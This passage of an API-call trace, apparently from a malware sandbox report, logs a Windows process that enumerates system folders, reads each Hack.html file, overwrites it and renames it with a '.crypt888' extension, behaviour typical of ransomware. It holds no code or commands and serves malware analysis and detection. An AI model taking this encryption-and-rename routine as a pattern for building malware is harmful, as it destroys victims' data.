lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.528] GetFileType (hFile=0x174) returned 0x1 [0086.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0086.528] GetFileType (hFile=0x174) returned 0x1 [0086.528] WriteFile (in: hFile=0x174, lpBuffer=0x280da58*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x280da58*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0086.529] CloseHandle (hObject=0x174) returned 1 [0086.529] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\Hack.html", lpFilePart=0x0) returned 0x31 [0086.529] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\Hack.html.crypt888", lpFilePart=0x0) returned 0x3a [0086.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0086.529] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xba43a2c0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba43a2c0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc4c57480, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0086.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0086.529] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\hack.html.crypt888")) returned 1 [0086.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0086.530] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys", lpFilePart=0x0) returned 0x33 [0086.530] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\", lpFilePart=0x0) returned 0x34 [0086.530] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a228 [0086.531] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.531] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.531] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0086.531] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0086.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0086.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0086.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0086.531] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys", lpFilePart=0x0) returned 0x33 [0086.531] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\", lpFilePart=0x0) returned 0x34 [0086.531] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a228 [0086.531] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.531] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.532] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0086.532] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0086.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0086.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0086.533] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\Hack.html", lpFilePart=0x0) returned 0x3d [0086.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0086.533] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.533] GetFileType (hFile=0x174) returned 0x1 [0086.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0086.533] GetFileType (hFile=0x174) returned 0x1 [0086.533] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0086.533] ReadFile (in: hFile=0x174, lpBuffer=0x281059c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x281059c*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0086.534] CloseHandle (hObject=0x174) returned 1 [0086.546] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\Hack.html", lpFilePart=0x0) returned 0x3d [0086.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0086.546] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.547] GetFileType (hFile=0x174) returned 0x1 [0086.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0086.547] GetFileType (hFile=0x174) returned 0x1 [0086.547] WriteFile (in: hFile=0x174, lpBuffer=0x285e71c*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec80, lpOverlapped=0x0 | out: lpBuffer=0x285e71c*, lpNumberOfBytesWritten=0x39ec80*=0xc0, lpOverlapped=0x0) returned 1 [0086.549] CloseHandle (hObject=0x174) returned 1 [0086.549] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\Hack.html", lpFilePart=0x0) returned 0x3d [0086.549] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\Hack.html.crypt888", lpFilePart=0x0) returned 0x46 [0086.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0086.549] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba414160, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba414160, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc4ca3740, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0086.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0086.549] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys\\hack.html.crypt888")) returned 1 [0086.550] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\Hack.html", lpFilePart=0x0) returned 0x3d [0086.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0086.550] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0086.550] GetFileType (hFile=0x174) returned 0x1 [0086.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0086.550] GetFileType (hFile=0x174) returned 0x1 [0086.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0086.551] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18", lpFilePart=0x0) returned 0x30 [0086.551] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\", lpFilePart=0x0) returned 0x31 [0086.551] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a4e8 [0086.552] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.552] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.552] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.552] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.552] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0086.552] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0086.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0086.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0086.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0086.552] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18", lpFilePart=0x0) returned 0x30 [0086.552] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\", lpFilePart=0x0) returned 0x31 [0086.552] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a4e8 [0086.553] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.553] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.553] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.553] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.553] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0086.553] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0086.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0086.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0086.553] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Hack.html", lpFilePart=0x0) returned 0x3a [0086.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0086.553] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.553] GetFileType (hFile=0x174) returned 0x1 [0086.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0086.554] GetFileType (hFile=0x174) returned 0x1 [0086.554] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0086.554] ReadFile (in: hFile=0x174, lpBuffer=0x2864594, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x2864594*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0086.554] CloseHandle (hObject=0x174) returned 1 [0086.567] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Hack.html", lpFilePart=0x0) returned 0x3a [0086.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0086.567] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.568] GetFileType (hFile=0x174) returned 0x1 [0086.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0086.568] GetFileType (hFile=0x174) returned 0x1 [0086.569] WriteFile (in: hFile=0x174, lpBuffer=0x28b2710*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec80, lpOverlapped=0x0 | out: lpBuffer=0x28b2710*, lpNumberOfBytesWritten=0x39ec80*=0xc0, lpOverlapped=0x0) returned 1 [0086.569] CloseHandle (hObject=0x174) returned 1 [0086.570] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Hack.html", lpFilePart=0x0) returned 0x3a [0086.570] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Hack.html.crypt888", lpFilePart=0x0) returned 0x43 [0086.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0086.570] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xba43a2c0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba43a2c0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc4cc98a0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0086.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0086.570] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\hack.html.crypt888")) returned 1 [0086.571] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Hack.html", lpFilePart=0x0) returned 0x3a [0086.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0086.571] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0086.571] GetFileType (hFile=0x174) returned 0x1 [0086.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0086.572] GetFileType (hFile=0x174) returned 0x1 [0086.573] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\Hack.html", lpFilePart=0x0) returned 0x31 [0086.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0086.573] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0086.575] GetFileType (hFile=0x174) returned 0x1 [0086.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0086.575] GetFileType (hFile=0x174) returned 0x1 [0086.576] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Hack.html", lpFilePart=0x0) returned 0x2d [0086.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0086.576] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0086.588] GetFileType (hFile=0x174) returned 0x1 [0086.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0086.588] GetFileType (hFile=0x174) returned 0x1 [0086.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0086.589] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage", lpFilePart=0x0) returned 0x29 [0086.589] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\", lpFilePart=0x0) returned 0x2a [0086.590] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a6a8 [0086.590] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.590] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.590] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.590] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.590] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0086.591] FindClose (in: hFindFile=0x59a6a8 | out: hFindFile=0x59a6a8) returned 1 [0086.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0086.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0086.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0086.591] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage", lpFilePart=0x0) returned 0x29 [0086.591] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\", lpFilePart=0x0) returned 0x2a [0086.591] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a6a8 [0086.591] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.591] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.591] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.592] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.592] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0086.592] FindClose (in: hFindFile=0x59a6a8 | out: hFindFile=0x59a6a8) returned 1 [0086.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0086.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0086.592] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Hack.html", lpFilePart=0x0) returned 0x33 [0086.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0086.592] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.592] GetFileType (hFile=0x174) returned 0x1 [0086.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0086.592] GetFileType (hFile=0x174) returned 0x1 [0086.592] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0086.593] ReadFile (in: hFile=0x174, lpBuffer=0x28bcc24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x28bcc24*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0086.651] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Hack.html", lpFilePart=0x0) returned 0x33 [0086.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0086.651] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.652] GetFileType (hFile=0x174) returned 0x1 [0086.652] SetThreadErrorMode 